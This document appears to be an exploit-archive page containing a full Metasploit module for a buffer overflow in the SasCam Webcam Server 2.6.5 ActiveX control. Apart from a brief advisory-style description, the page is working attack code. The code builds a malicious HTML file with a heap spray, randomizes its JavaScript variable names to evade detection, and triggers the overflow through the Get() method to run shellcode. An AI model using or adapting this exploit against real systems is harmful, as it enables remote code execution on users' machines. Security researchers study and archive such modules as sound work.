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SasCam Webcam Server v.2.6.5 Get() method Buffer Overflow

SasCam Webcam Server v.2.6.5 Get() method Buffer Overflow
Posted Nov 26, 2009
Authored by dean | Site metasploit.com

The SasCam Webcam Server ActiveX control is vulnerable to a buffer overflow. By passing an overly long argument via the Get method, a remote attacker could overflow a buffer and execute arbitrary code on the system with the privileges of the user. This control is not marked safe for scripting, please choose your attack vector carefully.

tags | exploit, remote, overflow, arbitrary, activex
SHA-256 | 81c7af2a75863c23fdb4a8d81bf93d9674ef7d9c87496a29dc4a20e52855fd32

SasCam Webcam Server v.2.6.5 Get() method Buffer Overflow

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###
## This file is part of the Metasploit Framework and may be subject to
## redistribution and commercial restrictions. Please see the Metasploit
## Framework web site for more information on licensing and terms of use.
## http://metasploit.com/framework/
###

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'SasCam Webcam Server v.2.6.5 Get() method Buffer Overflow',
'Description' => %q{
The SasCam Webcam Server ActiveX control is vulnerable to a buffer overflow.
By passing an overly long argument via the Get method, a remote attacker could
overflow a buffer and execute arbitrary code on the system with the privileges
of the user. This control is not marked safe for scripting, please choose your
attack vector carefully.
},
'License' => MSF_LICENSE,
'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ],
'Version' => '$Revision$',
'References' =>
[
[ 'OSVDB', '55945'],
[ 'BID','33053' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 / IE 7', { 'Ret' => 0x0c0c0c0c } ]
],
'DisclosureDate' => 'Dec 29 2008',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']),
], self.class)
end

def exploit

# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Set the return.
ret = Rex::Text.uri_encode([target.ret].pack('L'))

# Randomize the javascript variable names.
vname = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(30) + 2)
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
rand5 = rand_text_alpha(rand(100) + 1)
rand6 = rand_text_alpha(rand(100) + 1)
rand7 = rand_text_alpha(rand(100) + 1)
rand8 = rand_text_alpha(rand(100) + 1)

content = %Q|
<html>
<object id='#{vname}' classid='clsid:0297D24A-F425-47EE-9F3B-A459BCE593E3'></object>
<script language="JavaScript">
var #{rand1} = unescape('#{shellcode}');
var #{rand2} = unescape('#{ret}');
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 800; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = "";
for (#{var_i} = 0; #{var_i} < 8293; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
#{vname}.Get(#{rand8});
</script>
</html>
|

# create the file
print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(content)

end

end

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